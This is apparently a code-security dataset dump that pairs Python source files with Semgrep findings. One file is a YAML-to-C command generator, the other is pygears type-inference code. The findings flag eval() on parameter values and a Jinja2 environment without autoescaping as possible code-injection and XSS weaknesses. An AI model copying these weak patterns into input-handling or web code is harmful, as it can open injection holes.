"4"}, "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html", "https://docs.python.org/3/library/shlex.html", "https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.correctness.unchecked-subprocess-call_5a04fc67ef3322bb_04c68aa7", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.unchecked-subprocess-call", "finding_type": "correctness", "severity": "medium", "confidence": "medium", "message": "This is not checking the return value of this subprocess call; if it fails no exception will be raised. Consider subprocess.check_call() instead", "remediation": "check_call", "location": {"file_path": "unknown", "line_start": 86, "line_end": 86, "column_start": 24, "column_end": 28, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://docs.python.org/3/library/subprocess.html#subprocess.check_call", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.unchecked-subprocess-call", "path": "/tmp/tmppq52ww6s/5a04fc67ef3322bb.py", "start": {"line": 86, "col": 24, "offset": 3409}, "end": {"line": 86, "col": 28, "offset": 3413}, "extra": {"message": "This is not checking the return value of this subprocess call; if it fails no exception will be raised. Consider subprocess.check_call() instead", "fix": "check_call", "metadata": {"references": ["https://docs.python.org/3/library/subprocess.html#subprocess.check_call"], "category": "correctness", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 2 | true | [
"CWE-78"
] | [
"rules.python.lang.security.audit.dangerous-subprocess-use-audit"
] | [
"security"
] | [
"LOW"
] | [
"HIGH"
] | [
86
] | [
87
] | [
13
] | [
70
] | [
"A01:2017 - Injection"
] | [
"Detected subprocess function 'call' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'."
] | [
7.5
] | [
"LOW"
] | [
"HIGH"
] | kaggle_base.py | /metalearn/metalearn/data_environments/kaggle_base.py | cosmicBboy/ml-research | MIT | |
2024-11-18T19:58:07.036728+00:00 | 1,582,409,604,000 | b09378db649fc1ffc1e06e09c2fe8e70a64d1c63 | 3 | {
"blob_id": "b09378db649fc1ffc1e06e09c2fe8e70a64d1c63",
"branch_name": "refs/heads/master",
"committer_date": 1582409604000,
"content_id": "860d8b14c9785eba4e632a64730c66a3cb61e77e",
"detected_licenses": [
"MIT"
],
"directory_id": "88c889ab178389d310ebe78bb10a1179c7463c2c",
"extension": "py",
"filename": "command_generator.py",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 242417896,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 4729,
"license": "MIT",
"license_type": "permissive",
"path": "/command_generator.py",
"provenance": "stack-edu-0054.json.gz:580875",
"repo_name": "vdominguez1993/CommandGenerator",
"revision_date": 1582409604000,
"revision_id": "4f60247b7aced5da34bfa9724fabdc8b25140731",
"snapshot_id": "562e1c33d1be3ce11b419b22c471eca39d020c53",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/vdominguez1993/CommandGenerator/4f60247b7aced5da34bfa9724fabdc8b25140731/command_generator.py",
"visit_date": "2021-01-09T18:54:12.461206"
} | 3.140625 | stackv2 | """ Python script to generate a command parser given a configuration file.
The generation will be template based, this way it won't depend on the language.
"""
import argparse
import logging
import os
import subprocess
import yaml
import jinja2
import common_utils
def check_me():
""" Function to format this file with black and to check it with pylint
"""
file_to_check = os.path.abspath(__file__)
subprocess.call(["black", "-l", "80", file_to_check])
subprocess.call(["pylint", file_to_check])
def get_function_types(subcommand_params):
""" Reads all subcommands and returns a set with all the types of functions used
"""
list_functions = [
subcommand["function_type"] for subcommand in subcommand_params
]
return set(list_functions)
class CommandGenerator:
""" Class of the command generator tool
"""
def __init__(self, config_file_path, template_folder):
self.yaml_check_tool = "yamllint"
self.check_tool_installed = False
self.config_file_path = config_file_path
self.template_folder = template_folder
template_loader = jinja2.FileSystemLoader(searchpath=template_folder)
self.template_env = jinja2.Environment(loader=template_loader)
if common_utils.is_installed(self.yaml_check_tool):
self.check_tool_installed = True
else:
logging.warning(
"%s is not installed and it is recommended",
self.yaml_check_tool,
)
def is_yaml_ok(self, yaml_file):
""" Check if yaml is OK using yamllint
"""
retval = subprocess.call([self.yaml_check_tool, yaml_file])
if retval:
retval = False
else:
retval = True
return retval
def apply_template(self, template_file, config_dict, output_file):
""" Apply a jinja template
"""
template = self.template_env.get_template(template_file)
output_text = template.render(
config_dict=config_dict,
function_types=config_dict["function_types"],
get_function_types=get_function_types,
)
with open(output_file, "w") as output:
output.write(output_text)
def generate(self, output_folder):
""" Generate the code in a given folder
"""
retval = False
# Check if output folder exists, if not create it
if not os.path.exists(output_folder):
os.makedirs(output_folder)
if os.path.exists(self.config_file_path):
if self.is_yaml_ok(self.config_file_path) is not False:
with open(self.config_file_path, "r") as config_file:
try:
config_dict = yaml.safe_load(config_file)
output_file = os.path.join(
output_folder, "process_command.c"
)
self.apply_template(
"template_c.tmpl", config_dict, output_file
)
output_file = os.path.join(
output_folder, "process_command.h"
)
self.apply_template(
"template_h.tmpl", config_dict, output_file
)
retval = True
except yaml.YAMLError as exc:
logging.critical(exc)
else:
logging.error("Configuration file is not OK")
else:
logging.error("File %s does not exist", self.config_file_path)
return retval
def main(config_file_path, template_folder, output_folder):
""" Main function of the script
"""
# check_me()
generator = CommandGenerator(config_file_path, template_folder)
generator.generate(output_folder)
if __name__ == "__main__":
PARSER = argparse.ArgumentParser()
PARSER.add_argument(
"-i",
"--input",
required=True,
dest="configuration_file",
help="YAML configuration file to generate commands",
)
PARSER.add_argument(
"-o",
"--output_folder",
required=True,
dest="output_folder",
help="Output folder where code will be generated",
)
PARSER.add_argument(
"-t",
"--template_folder",
dest="template_folder",
default=os.path.join(
os.path.abspath(os.path.dirname(__file__)), "templates"
),
help="Template folder path",
)
ARGS = PARSER.parse_args()
main(ARGS.configuration_file, ARGS.template_folder, ARGS.output_folder)
| 150 | 30.53 | 84 | 19 | 910 | python | [{"finding_id": "semgrep_rules.python.lang.correctness.unchecked-subprocess-call_33c790e37b50e61e_b6ce9f41", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.unchecked-subprocess-call", "finding_type": "correctness", "severity": "medium", "confidence": "medium", "message": "This is not checking the return value of this subprocess call; if it fails no exception will be raised. Consider subprocess.check_call() instead", "remediation": "check_call", "location": {"file_path": "unknown", "line_start": 19, "line_end": 19, "column_start": 16, "column_end": 20, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://docs.python.org/3/library/subprocess.html#subprocess.check_call", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.unchecked-subprocess-call", "path": "/tmp/tmppq52ww6s/33c790e37b50e61e.py", "start": {"line": 19, "col": 16, "offset": 434}, "end": {"line": 19, "col": 20, "offset": 438}, "extra": {"message": "This is not checking the return value of this subprocess call; if it fails no exception will be raised. Consider subprocess.check_call() instead", "fix": "check_call", "metadata": {"references": ["https://docs.python.org/3/library/subprocess.html#subprocess.check_call"], "category": "correctness", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.correctness.unchecked-subprocess-call_33c790e37b50e61e_78a184b7", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.unchecked-subprocess-call", "finding_type": "correctness", "severity": "medium", "confidence": "medium", "message": "This is not checking the return value of this subprocess call; if it fails no exception will be raised. Consider subprocess.check_call() instead", "remediation": "check_call", "location": {"file_path": "unknown", "line_start": 20, "line_end": 20, "column_start": 16, "column_end": 20, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://docs.python.org/3/library/subprocess.html#subprocess.check_call", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.unchecked-subprocess-call", "path": "/tmp/tmppq52ww6s/33c790e37b50e61e.py", "start": {"line": 20, "col": 16, "offset": 492}, "end": {"line": 20, "col": 20, "offset": 496}, "extra": {"message": "This is not checking the return value of this subprocess call; if it fails no exception will be raised. Consider subprocess.check_call() instead", "fix": "check_call", "metadata": {"references": ["https://docs.python.org/3/library/subprocess.html#subprocess.check_call"], "category": "correctness", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.flask.security.xss.audit.direct-use-of-jinja2_33c790e37b50e61e_0c39aa29", "tool_name": "semgrep", "rule_id": "rules.python.flask.security.xss.audit.direct-use-of-jinja2", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected direct use of jinja2. If not done properly, this may bypass HTML escaping which opens up the application to cross-site scripting (XSS) vulnerabilities. Prefer using the Flask method 'render_template()' and templates with a '.html' extension in order to prevent XSS.", "remediation": "", "location": {"file_path": "unknown", "line_start": 44, "line_end": 44, "column_start": 29, "column_end": 71, "code_snippet": "requires login"}, "cwe_id": "CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A07:2017 - Cross-Site Scripting (XSS)", "references": [{"url": "https://jinja.palletsprojects.com/en/2.11.x/api/#basics", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.flask.security.xss.audit.direct-use-of-jinja2", "path": "/tmp/tmppq52ww6s/33c790e37b50e61e.py", "start": {"line": 44, "col": 29, "offset": 1220}, "end": {"line": 44, "col": 71, "offset": 1262}, "extra": {"message": "Detected direct use of jinja2. If not done properly, this may bypass HTML escaping which opens up the application to cross-site scripting (XSS) vulnerabilities. Prefer using the Flask method 'render_template()' and templates with a '.html' extension in order to prevent XSS.", "metadata": {"cwe": ["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')"], "owasp": ["A07:2017 - Cross-Site Scripting (XSS)", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://jinja.palletsprojects.com/en/2.11.x/api/#basics"], "category": "security", "technology": ["flask"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.jinja2.security.audit.missing-autoescape-disabled_33c790e37b50e61e_2d84faf3", "tool_name": "semgrep", "rule_id": "rules.python.jinja2.security.audit.missing-autoescape-disabled", "finding_type": "security", "severity": "medium", "confidence": "medium", "message": "Detected a Jinja2 environment without autoescaping. Jinja2 does not autoescape by default. This is dangerous if you are rendering to a browser because this allows for cross-site scripting (XSS) attacks. If you are in a web context, enable autoescaping by setting 'autoescape=True.' You may also consider using 'jinja2.select_autoescape()' to only enable automatic escaping for certain file extensions.", "remediation": "jinja2.Environment(loader=template_loader, autoescape=True)", "location": {"file_path": "unknown", "line_start": 44, "line_end": 44, "column_start": 29, "column_end": 71, "code_snippet": "requires login"}, "cwe_id": "CWE-116: Improper Encoding or Escaping of Output", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A03:2021 - Injection", "references": [{"url": "https://jinja.palletsprojects.com/en/2.11.x/api/#basics", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.jinja2.security.audit.missing-autoescape-disabled", "path": "/tmp/tmppq52ww6s/33c790e37b50e61e.py", "start": {"line": 44, "col": 29, "offset": 1220}, "end": {"line": 44, "col": 71, "offset": 1262}, "extra": {"message": "Detected a Jinja2 environment without autoescaping. Jinja2 does not autoescape by default. This is dangerous if you are rendering to a browser because this allows for cross-site scripting (XSS) attacks. If you are in a web context, enable autoescaping by setting 'autoescape=True.' You may also consider using 'jinja2.select_autoescape()' to only enable automatic escaping for certain file extensions.", "fix": "jinja2.Environment(loader=template_loader, autoescape=True)", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b701_jinja2_autoescape_false.html", "cwe": ["CWE-116: Improper Encoding or Escaping of Output"], "owasp": ["A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://jinja.palletsprojects.com/en/2.11.x/api/#basics"], "category": "security", "technology": ["jinja2"], "subcategory": ["vuln"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "MEDIUM"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-audit_33c790e37b50e61e_221613b5", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Detected subprocess function 'call' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 57, "line_end": 57, "column_start": 18, "column_end": 68, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}, {"url": "https://docs.python.org/3/library/shlex.html", "title": null}, {"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "path": "/tmp/tmppq52ww6s/33c790e37b50e61e.py", "start": {"line": 57, "col": 18, "offset": 1639}, "end": {"line": 57, "col": 68, "offset": 1689}, "extra": {"message": "Detected subprocess function 'call' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html", "https://docs.python.org/3/library/shlex.html", "https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.flask.security.xss.audit.direct-use-of-jinja2_33c790e37b50e61e_f37521e7", "tool_name": "semgrep", "rule_id": "rules.python.flask.security.xss.audit.direct-use-of-jinja2", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected direct use of jinja2. If not done properly, this may bypass HTML escaping which opens up the application to cross-site scripting (XSS) vulnerabilities. Prefer using the Flask method 'render_template()' and templates with a '.html' extension in order to prevent XSS.", "remediation": "", "location": {"file_path": "unknown", "line_start": 69, "line_end": 73, "column_start": 23, "column_end": 10, "code_snippet": "requires login"}, "cwe_id": "CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A07:2017 - Cross-Site Scripting (XSS)", "references": [{"url": "https://jinja.palletsprojects.com/en/2.11.x/api/#basics", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.flask.security.xss.audit.direct-use-of-jinja2", "path": "/tmp/tmppq52ww6s/33c790e37b50e61e.py", "start": {"line": 69, "col": 23, "offset": 2005}, "end": {"line": 73, "col": 10, "offset": 2177}, "extra": {"message": "Detected direct use of jinja2. If not done properly, this may bypass HTML escaping which opens up the application to cross-site scripting (XSS) vulnerabilities. Prefer using the Flask method 'render_template()' and templates with a '.html' extension in order to prevent XSS.", "metadata": {"cwe": ["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')"], "owasp": ["A07:2017 - Cross-Site Scripting (XSS)", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://jinja.palletsprojects.com/en/2.11.x/api/#basics"], "category": "security", "technology": ["flask"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_33c790e37b50e61e_e62c7d81", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 74, "line_end": 74, "column_start": 14, "column_end": 36, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmppq52ww6s/33c790e37b50e61e.py", "start": {"line": 74, "col": 14, "offset": 2191}, "end": {"line": 74, "col": 36, "offset": 2213}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_33c790e37b50e61e_eed4db7f", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 88, "line_end": 88, "column_start": 22, "column_end": 54, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmppq52ww6s/33c790e37b50e61e.py", "start": {"line": 88, "col": 22, "offset": 2670}, "end": {"line": 88, "col": 54, "offset": 2702}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 8 | true | [
"CWE-79",
"CWE-116",
"CWE-78",
"CWE-79"
] | [
"rules.python.flask.security.xss.audit.direct-use-of-jinja2",
"rules.python.jinja2.security.audit.missing-autoescape-disabled",
"rules.python.lang.security.audit.dangerous-subprocess-use-audit",
"rules.python.flask.security.xss.audit.direct-use-of-jinja2"
] | [
"security",
"security",
"security",
"security"
] | [
"LOW",
"MEDIUM",
"LOW",
"LOW"
] | [
"MEDIUM",
"MEDIUM",
"HIGH",
"MEDIUM"
] | [
44,
44,
57,
69
] | [
44,
44,
57,
73
] | [
29,
29,
18,
23
] | [
71,
71,
68,
10
] | [
"A07:2017 - Cross-Site Scripting (XSS)",
"A03:2021 - Injection",
"A01:2017 - Injection",
"A07:2017 - Cross-Site Scripting (XSS)"
] | [
"Detected direct use of jinja2. If not done properly, this may bypass HTML escaping which opens up the application to cross-site scripting (XSS) vulnerabilities. Prefer using the Flask method 'render_template()' and templates with a '.html' extension in order to prevent XSS.",
"Detected a Jinja2 environment witho... | [
5,
5,
7.5,
5
] | [
"LOW",
"LOW",
"LOW",
"LOW"
] | [
"MEDIUM",
"MEDIUM",
"HIGH",
"MEDIUM"
] | command_generator.py | /command_generator.py | vdominguez1993/CommandGenerator | MIT | |
2024-11-18T19:58:07.958786+00:00 | 1,646,656,140,000 | 4e0035cb929af37420b122e4f7523bd88fb61b16 | 2 | {
"blob_id": "4e0035cb929af37420b122e4f7523bd88fb61b16",
"branch_name": "refs/heads/master",
"committer_date": 1646656140000,
"content_id": "3e0e158ffdf41cdc7e95683fa1ac47aa5126e986",
"detected_licenses": [
"MIT"
],
"directory_id": "48ca6f9f041a1e9f563500c8a7fa04dbb18fa949",
"extension": "py",
"filename": "infer_ftypes.py",
"fork_events_count": 16,
"gha_created_at": 1520860206000,
"gha_event_created_at": 1660550228000,
"gha_language": "Python",
"gha_license_id": "MIT",
"github_id": 124890922,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 6049,
"license": "MIT",
"license_type": "permissive",
"path": "/pygears/core/infer_ftypes.py",
"provenance": "stack-edu-0054.json.gz:580886",
"repo_name": "bogdanvuk/pygears",
"revision_date": 1646656140000,
"revision_id": "705b11ab6de79868b25753fa9d0ce7128791b346",
"snapshot_id": "71404e53d4689ec9cdd9db546bfc0f229a7e02da",
"src_encoding": "UTF-8",
"star_events_count": 146,
"url": "https://raw.githubusercontent.com/bogdanvuk/pygears/705b11ab6de79868b25753fa9d0ce7128791b346/pygears/core/infer_ftypes.py",
"visit_date": "2023-07-08T11:38:54.625172"
} | 2.5 | stackv2 | import collections
from pygears.conf import reg
from pygears.typing.base import GenericMeta, param_subs, is_type, T
from pygears.typing import TypeMatchError, get_match_conds
def is_type_iterable(t):
return (not isinstance(t, (str, bytes))) and isinstance(t, collections.abc.Iterable)
def _copy_field_names(t, pat):
if isinstance(t, GenericMeta) and isinstance(pat, GenericMeta) and (issubclass(
t.base, pat.base)):
for ta, pa in zip(t.args, pat.args):
_copy_field_names(ta, pa)
if hasattr(pat, '__parameters__'):
t.__parameters__ = pat.__parameters__
def copy_field_names(t, pat):
t = t.copy()
_copy_field_names(t, pat)
return t
def type_is_specified(t):
if isinstance(t, T):
return False
if is_type(t):
return t.specified
if t is None:
return True
elif isinstance(t, dict):
return all(type_is_specified(subt) for subt in t.values())
elif is_type_iterable(t):
return all(type_is_specified(subt) for subt in t)
elif isinstance(t, bytes):
return False
else:
return True
def resolve_param(val, match, namespace):
if isinstance(val, T):
new_p = param_subs(val, match, namespace)
if new_p != val:
return True, new_p
else:
return False, None
is_templated_type = (isinstance(val, GenericMeta) and (not val.is_generic()))
if ((is_templated_type or is_type_iterable(val)) and (not type_is_specified(val))):
new_p = param_subs(val, match, namespace)
if repr(new_p) != repr(val):
return True, new_p
elif isinstance(val, bytes):
return True, eval(val, namespace, match)
return False, None
def infer_ftypes(params, args, namespace={}):
# Add all registered objects (types and transformations) to the namespace
namespace = dict(namespace)
namespace.update(reg['gear/type_arith'])
def is_postponed(name, val):
if isinstance(val, bytes):
return True
if (name in args):
return True
if (name == 'return'):
return not type_is_specified(val)
return False
postponed = {name: val for name, val in params.items() if is_postponed(name, val)}
match = {name: val for name, val in params.items() if name not in postponed}
substituted = True
final_check = False
# Allow for keyword argument values to be templates and provide
# a mechanism to resolve these template arguments
while substituted or final_check:
substituted = False
# Loops until none of the parameters has been additionally resolved
for name, val in postponed.copy().items():
if name in args:
try:
templ = val
if isinstance(val, bytes):
templ = templ.decode()
match_update, res = get_match_conds(args[name], templ, match)
match.update(match_update)
args[name] = res
if type_is_specified(res):
if is_type(res):
res = copy_field_names(res, params[name])
args[name] = res
match[name] = res
del postponed[name]
substituted = True
break
else:
postponed[name] = res
except TypeMatchError as e:
err = TypeMatchError(
f'{str(e)}\n - when deducing type for argument '
f'"{name}"')
err.params = match
raise err
else:
try:
substituted, new_p = resolve_param(val, match, namespace)
if substituted and (name == 'return'):
substituted = type_is_specified(new_p)
if substituted:
if name == 'return':
substituted = type_is_specified(new_p)
match[name] = new_p
del postponed[name]
break
elif final_check:
if new_p is not None:
raise TypeMatchError(f'Incomplete type: {repr(new_p)}')
else:
raise TypeMatchError(f'Incomplete type: {repr(val)}')
except Exception as e:
if final_check:
try:
arg_repr = str(e.args[0])
except:
arg_repr = repr(e.args[0])
if isinstance(val, bytes):
val_repr = val.decode()
else:
try:
val_repr = str(val)
except:
val_repr = repr(val)
if name == 'return':
err = type(e)(
f'{arg_repr}\n - when resolving '
f'return type "{val_repr}"')
else:
err = type(e)(
f'{arg_repr}\n - when resolving '
f'parameter "{name}": "{val_repr}"')
err.params = match
raise err
final_check = not substituted and not final_check
# print('Final postponed: ', postponed)
# print('Final match: ', match)
for name, val in args.items():
get_match_conds(val, match[name], {})
if postponed:
name, value = next(iter(postponed.items()))
err = TypeMatchError(f'Parameter "{name}" unresolved: {value}')
err.params = match
raise err
return match
| 185 | 31.7 | 88 | 26 | 1,188 | python | [{"finding_id": "semgrep_rules.python.lang.security.audit.eval-detected_625a2dfc5ff9307c_45cd4ac4", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.eval-detected", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "remediation": "", "location": {"file_path": "unknown", "line_start": 65, "line_end": 65, "column_start": 22, "column_end": 49, "code_snippet": "requires login"}, "cwe_id": "CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A03:2021 - Injection", "references": [{"url": "https://owasp.org/Top10/A03_2021-Injection", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.eval-detected", "path": "/tmp/tmppq52ww6s/625a2dfc5ff9307c.py", "start": {"line": 65, "col": 22, "offset": 1706}, "end": {"line": 65, "col": 49, "offset": 1733}, "extra": {"message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/blacklists/blacklist_calls.html#b307-eval", "cwe": ["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')"], "owasp": ["A03:2021 - Injection", "A05:2025 - Injection"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "references": ["https://owasp.org/Top10/A03_2021-Injection"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 1 | true | [
"CWE-95"
] | [
"rules.python.lang.security.audit.eval-detected"
] | [
"security"
] | [
"LOW"
] | [
"MEDIUM"
] | [
65
] | [
65
] | [
22
] | [
49
] | [
"A03:2021 - Injection"
] | [
"Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources."
] | [
5
] | [
"LOW"
] | [
"HIGH"
] | infer_ftypes.py | /pygears/core/infer_ftypes.py | bogdanvuk/pygears | MIT | |
2024-11-18T19:58:12.801774+00:00 | 1,624,778,587,000 | 54f72aef2b61924928b4f10c92b4827bdd73e6ef | 3 | {
"blob_id": "54f72aef2b61924928b4f10c92b4827bdd73e6ef",
"branch_name": "refs/heads/master",
"committer_date": 1624778587000,
"content_id": "bcd6bc720f2706cd8885725d6c0324fb360d60e0",
"detected_licenses": [
"MIT"
],
